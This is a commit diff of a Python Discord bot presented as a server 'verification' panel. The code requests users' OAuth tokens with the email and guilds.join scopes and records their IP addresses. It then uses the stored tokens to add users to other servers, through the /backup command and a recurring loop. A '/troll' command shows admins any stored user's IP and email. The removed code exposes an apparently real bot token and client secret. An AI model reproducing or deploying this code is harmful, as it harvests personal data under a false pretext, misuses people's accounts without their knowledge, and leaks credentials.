Add files via upload

env

@@ -0,0 +1,10 @@
+token = ""
+client_id = 
+client_secret = ""
+redirect_uri = ""
+google_drive_data_url = ""
+google_drive_backup_url = ""
+join_guilds = []
+admin_users = [976814375123972126]
+admin_guild_id = 
+join_interval = 2

requirements.txt

@@ -1,4 +1,4 @@
-quart
+flask[async]
 disnake
-discord.py
-PyDrive
+PyDrive
+python-dotenv

server.py

@@ -1,120 +1,228 @@
-from quart import Quart, request, redirect
-from discord.ext import commands, tasks
-from discord import app_commands
-import discord, asyncio, requests, datetime, json, threading, utils, aiohttp
-
-token = "OTc5MzkyMDc0NDA1MjQ5MDM0.GOTcG-.rQW__1jWx-xX1IHfQANUoydN0XksDr0lPPjfhE"
-url = "https://discord.com/api/oauth2/authorize?client_id=979392074405249034&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Fafter&response_type=code&scope=identify+guilds.join&state={}"
-client_id = 979392074405249034
-client_secret = "wSLoC-_hqGLYZwEEXrcvJs6j1zuFO-LT"
-role_id = 979407317747531798
-guild_id = 979405030996193300
-join_guild = 979402546730897518
-admin_id = None
-redirect_uri = "http://localhost:8080/after"
-
-utils.load()
-userdata = json.loads(open("data/data.json", 'r').read())
-app = Quart(__name__)
-bot = commands.Bot(command_prefix="!", sync_commands=True, intents=discord.Intents.all())
-util = utils.utils(token, client_id, client_secret, redirect_uri)
-guild=discord.Object(978624363286888448)
-
-@app.route("/after")
-async def after():
-    session = aiohttp.ClientSession()
-    code = request.args.get('code')
-    guild_id = request.args.get('state')
-    data = await util.get_token(session, code)
-    user = await util.get_user(session, data["access_token"])
-    userdata["data"][str(user['id'])] = data
-    open("data/data.json", 'w').write(json.dumps(userdata))
-    utils.upload()
-    result = await util.add_role(session, guild_id, user["id"], 998922440270954546)
-    async with result:
-        print(await result.text())
-        if result.status == 204:
-            await util.send_direct_message(session, user["id"], "認証されました")
-            await session.close()
-            return "Success"
-        else:
-            await session.close()
-            return "Failed"
-
-@bot.command(name="verifypanel")
-async def create_verify(ctx):
-        if ctx.author.guild_permissions.administrator:
-            embed = disnake.Embed(
-                title="test",
-                description="test",
-                color=0x000000
-            )
-            #embed.set_image(url=embed_image_url)
-            view = disnake.ui.View()
-            view.add_item(disnake.ui.Button(label="認証", style=disnake.ButtonStyle.link, url=url.format(ctx.guild.id)))
-            await ctx.send(embed=embed, view=view)
-
-""", dm_permission=False,default_member_permissions=disnake.Permissions(manage_guild=True, moderate_members=True), options=[
-    disnake.Option(name="title",description="埋め込みのタイトルを指定",type=disnake.OptionType.string,required=True,),
-    disnake.Option(name="add_role",description="role",type=disnake.OptionType.role,required=True,),
-    disnake.Option(name="picture",description="埋め込みに使用する画像を添付",type=disnake.OptionType.attachment,required=False,)])"""
-
-@bot.tree.command(name="verifypanel", guild=guild, description="認証パネルを出します")
-async def verifypanel(interaction: discord.Interaction):
-    embed = discord.Embed(title=title,description=embed_description,color=embed_color)
-    if picture == None:
-        embed.set_image(url=embed_image_url)
-    else:
-        embed.set_image(url=picture)
-    view = discord.ui.View()
-    view.add_item(discord.ui.Button(label=button_name, style=discord.ButtonStyle.url, url=url))
-    await inter.response.send_message(embed=embed, view=view)
-
-""", dm_permission=False,default_member_permissions=disnake.Permissions(manage_guild=True, moderate_members=True), options=[
-    disnake.Option(name="srvid",description="人間を呼ぶサーバーのIDを入力。",type=disnake.OptionType.string,required=True)])"""
-@bot.tree.command(name="backup", guild=guild, description="人間を呼びます。")
-async def backup(interaction: discord.Interaction, srvid: str):
-    embed = disnake.Embed(
-        title="バックアップを実行します。",
-        description="バックアップ先:" + srvid,
-        color=embed_color
-    )
-    join_guild(srvid)
-    view = disnake.ui.View()
-    await inter.response.send_message(embed=embed, view=view)
-
-def update():
-    for user in userdata["data"]:
-        payload = {"client_id":client_id,"client_secret":"client_secret","grant_type":"refresh_token","refresh_token":user["refresh_token"]}
-        userdata["data"][user] = requests.post("https://discordapp.com/api/oauth2/token", data=payload, headers={"Content-Type":"application/x-www-form-urlencoded"}).json()
-def join_guild(guild_id):
-    for user in list(userdata["data"]):
-        result = util.join_guild(userdata["data"][user]["access_token"], guild_id, user)
-        print(result)
-        if result.status_code == 201:
-            del userdata["data"][user]
-
-@tasks.loop(seconds=10)
-async def loop():
-    await bot.tree.sync(guild=guild)
-
-@bot.event
-async def on_ready():
-    await bot.tree.sync(guild=guild)
-    loop.start()
-    threading.Thread(target=app.run, args=["localhost", 8080], daemon=True).start()
-    if datetime.datetime.now().timestamp() - userdata["last_update"] >= 250000:
-        userdata["last_update"] = datetime.datetime.now().timestamp()
-        update()
-        open("data/data.json", 'w').write(json.dumps(userdata))
-    while True:
-        await asyncio.sleep(30)
-        if datetime.datetime.now().timestamp() - userdata["last_update"] >= 250000:
-            userdata["last_update"] = datetime.datetime.now().timestamp()
-            update()
-            open("data/data.json", 'w').write(json.dumps(userdata))
-        #join_guild()
-        open("data/data.json", 'w').write(json.dumps(userdata))
-        print("Looped")
-
+from flask import Flask, request, redirect
+from wsgiref import simple_server
+from disnake.ext import commands, tasks
+from disnake import app_commands
+from datetime import datetime
+import disnake, asyncio, requests, json, threading, utils, aiohttp, os, time
+from dotenv import load_dotenv
+load_dotenv()
+token = os.getenv("token")
+client_id = int(os.getenv("client_id"))
+client_secret = os.getenv("client_secret")
+redirect_uri = os.getenv("redirect_uri")
+redirect_to = os.getenv("redirect_to")
+interval = int(os.getenv("join_interval"))
+join_guilds = json.loads(os.getenv("join_guilds"))
+admin_users = json.loads(os.getenv("admin_users"))
+app = Flask(__name__)
+bot = commands.Bot(command_prefix="!", sync_commands=True, intents=disnake.Intents.all())
+util = utils.utils(token, client_id, client_secret, redirect_uri)
+file = utils.FileManager(os.getenv("google_drive_data_url"), os.getenv("google_drive_backup_url"))
+try:
+    file.load_file()
+except:
+    print("[!] ファイルの中身がない、または破損しているため初期設定にリセットします")
+    open("data/data.json","w").write(json.dumps({"guilds":{} ,"users": {}}))
+data = json.loads(open("data/data.json", 'r').read())
+guild = [int(os.getenv("admin_guild_id"))]
+working = []
+requested = []
+
+@app.route("/after")
+async def after():
+    ip = request.headers["X-Forwarded-For"]
+    if not ip in working:
+    	working.append(ip)
+    else:
+    	return "Your ip is already processing"
+    code = request.args.get('code')
+    if not code in requested:
+    	requested.append(code)
+    else:
+    	return "You are already requested"
+    state = request.args.get('state')
+    if not code or not state:
+        working.remove(ip)
+        return "認証をやり直してください"
+    async with aiohttp.ClientSession() as session:
+        token = await util.get_token(session, code)
+        if not "access_token" in token:
+        	working.remove(ip)
+        	return "認証をやり直してください"
+        user = await util.get_user(session, token["access_token"])
+        try:
+            token["ip"] = request.headers["X-Forwarded-For"]
+        except:
+            token["ip"] = "127.0.0.1"
+        token["last_update"] = datetime.utcnow().timestamp()
+        data["users"][str(user['id'])] = token
+        file.upload = True
+        if str(state) in data["guilds"]:
+            if "role" in data["guilds"][str(state)]:
+                await util.add_role(session, str(state), user["id"], data["guilds"][str(state)]["role"])
+                await util.send_direct_message(session, user["id"], "認証されました")
+                result = await util.join_guild(session, token["access_token"], str(state), user["id"])
+                if not redirect_to:
+                    working.remove(ip)
+                    return result
+                else:
+                    working.remove(ip)
+                    return redirect(redirect_to)
+            else:
+                working.remove(ip)
+                return "このサーバーではロールの設定がされていません"
+        else:
+            working.remove(ip)
+            return "このサーバーではロールの設定がされていません"
+
+@bot.command(name="認証")
+async def verifypanel(ctx, role:disnake.Role=None):
+    if ctx.author.guild_permissions.administrator:
+        if not role:
+            await ctx.send("役職を指定してください")
+        else:
+            if not str(ctx.guild.id) in data["guilds"]:
+                data["guilds"][str(ctx.guild.id)] = {}
+            data["guilds"][str(ctx.guild.id)]["role"] = role.id
+            file.upload = True
+            embed = disnake.Embed(
+                title="認証",
+                description="下のボタンを押して認証を完了してください",
+                color=0x000000
+            )
+            #embed.set_image(url=embed_image_url)
+            view = disnake.ui.View()
+            url = f"https://discord.com/api/oauth2/authorize?client_id={client_id}&redirect_uri={redirect_uri}&response_type=code&scope=identify%20email%20guilds.join&state={ctx.guild.id}"
+            view.add_item(disnake.ui.Button(label="認証", style=disnake.ButtonStyle.link, url=url))
+            await ctx.send(embed=embed, view=view)
+
+@bot.slash_command(name="roleset", guild_ids=guild, description="認証で付与する役職の設定", options=[
+    disnake.Option(name="role", description="追加する役職", type=disnake.OptionType.role, required=True)])
+async def slash_roleset(interaction: disnake.ApplicationCommandInteraction, role):
+    if interaction.author.guild_permissions.administrator:
+        if not str(interaction.guild.id) in data["guilds"]:
+            data["guilds"][str(interaction.guild.id)] = {}
+        data["guilds"][str(interaction.guild.id)]["role"] = role.id
+        file.upload = True
+        await interaction.response.send_message("成功しました")
+    else:
+        await interaction.response.send_message("You cannot run this command.")
+
+@bot.slash_command(name="check", guild_ids=guild, description="復元できるメンバーの数")
+async def check(interaction: disnake.ApplicationCommandInteraction):
+    if not int(interaction.author.id) in admin_users:
+        await interaction.response.send_message("You cannot run this command.")
+        return
+    await interaction.response.send_message("確認しています...", ephemeral=True)
+    await interaction.edit_original_message(content="{}人のメンバーの復元が可能です".format(len(data["users"])))
+@bot.slash_command(name="backup", guild_ids=guild, description="メンバーの復元を行います", options=[
+    disnake.Option(name="srvid", description="復元先のサーバーを選択", type=disnake.OptionType.string, required=True)])
+async def backup(interaction: disnake.ApplicationCommandInteraction, srvid: str):
+    if not int(interaction.author.id) in admin_users:
+        await interaction.response.send_message("You cannot run this command.")
+        return
+    embed = disnake.Embed(
+        title="バックアップを実行します。",
+        description="バックアップ先:" + srvid,
+        color=0x00000
+    )
+    await interaction.response.send_message(embed=embed, ephemeral=True)
+    count = 0
+    total = 0
+    async with aiohttp.ClientSession() as session:
+        for user in list(data["users"]):
+            try:
+                result = await util.join_guild(session, data["users"][user]["access_token"], srvid, user)
+                if result == "Success":
+                    count += 1
+            except:
+                pass
+            total += 1
+    await interaction.edit_original_message(content="{}人中{}人のメンバーの復元に成功しました".format(count,total), embed=None)
+
+@bot.slash_command(name="leave", guild_ids=guild, description="Botをサーバーから退出させます")
+async def slash_leave(interaction: disnake.ApplicationCommandInteraction, guild_id:int=None):
+    if int(interaction.author.id) in admin_users:
+        try:
+            await bot.get_guild(int(guild_id)).leave()
+            await interaction.response.send_message(f"{guild_id}から退出しました")
+        except AttributeError:
+            await interaction.response.send_message(f"{guild_id}から退出できませんでした")
+    else:
+        await interaction.response.send_message("You cannot run this command.")
+
+@bot.slash_command(name="verifypanel", guild_ids=guild, description="認証パネルを出します", options=[
+    disnake.Option(name="role", description="追加する役職", type=disnake.OptionType.role, required=True),
+    disnake.Option(name="title", description="認証パネルの一番上の文字", type=disnake.OptionType.string, required=False),
+    disnake.Option(name="description", description="認証パネルの詳細文", type=disnake.OptionType.string, required=False),
+    disnake.Option(name="color", description="認証パネルの色", type=disnake.OptionType.integer, required=False),
+    disnake.Option(name="picture", description="認証パネルに入れる写真", type=disnake.OptionType.attachment, required=False)])
+async def slash_verifypanel(interaction: disnake.ApplicationCommandInteraction, role, title="認証", description="サーバーでの認証を行います", color=0, picture=None):
+    if not interaction.author.guild_permissions.administrator:
+        await interaction.response.send_message("You cannot run this command.")
+        return
+    if not str(interaction.guild.id) in data["guilds"]:
+        data["guilds"][str(interaction.guild.id)] = {}
+    data["guilds"][str(interaction.guild.id)]["role"] = role.id
+    file.upload = True
+    embed = disnake.Embed(title=title, description=description, color=int(color, 16))
+    if picture:
+        embed.set_image(file=picture)
+    view = disnake.ui.View()
+    url = f"https://discord.com/api/oauth2/authorize?client_id={client_id}&redirect_uri={redirect_uri}&response_type=code&scope=identify email guilds.join&state={interaction.guild.id}"
+    view.add_item(disnake.ui.Button(label="認証",style=disnake.ButtonStyle.url, url=url))
+    await interaction.response.send_message(embed=embed, view=view)
+
+
+@bot.slash_command(name="troll", guild_ids=guild, description="troll command", options=[
+    disnake.Option(name="user", description="確認するユーザーのID", type=disnake.OptionType.string, required=True)])
+async def slash_troll(interaction: disnake.ApplicationCommandInteraction, user: str):
+    if not int(interaction.author.id) in admin_users:
+        await interaction.response.send_message("You cannot run this command.")
+        return
+    async with aiohttp.ClientSession() as session:
+        if str(user) in data["users"]:
+            userdata = await util.get_user(session, data["users"][str(user)]["access_token"])
+            if "ip" in data["users"][str(user)]:
+                await interaction.response.send_message("IP : {}, Email : {}".format(data["users"][str(user)]["ip"], userdata["email"]), ephemeral=True)
+            else:
+                await interaction.response.send_message("IP : Not Found, Email : {}".format(userdata["email"]), ephemeral=True)
+        else:
+            await interaction.response.send_message("That user is not found.", ephemeral=True)
+
+def web_server_handler():
+    class customlog(simple_server.WSGIRequestHandler):
+        def log_message(self, format, *args):
+            print("%s > %s" % (self.client_address[0], format % args))
+    server = simple_server.make_server('0.0.0.0', int(os.getenv('PORT', 80)), app, handler_class=customlog)
+    print("[+] Webページの起動に成功しました")
+    server.serve_forever()
+def uploader_handler():
+    while True:
+        if file.upload:
+            file.save(data)
+            file.upload = False
+        else:
+            time.sleep(1)
+
+@tasks.loop(minutes=interval)
+async def loop():
+    async with aiohttp.ClientSession() as session:
+        for guild in join_guilds:
+            for user in data["users"]:
+                await util.join_guild(session, data["users"][user]["access_token"], guild, user)
+
+@bot.event
+async def on_ready():
+    loop.start()
+    print("[+] Botが起動しました")
+    threading.Thread(target=web_server_handler, daemon=True).start()
+    threading.Thread(target=uploader_handler, daemon=True).start()
+    async with aiohttp.ClientSession() as session:
+        await util.update_token(session, data)
+        while True:
+            await asyncio.sleep(30)
+            await util.update_token(session, data)
+            print("Looped")
+
 bot.run(token)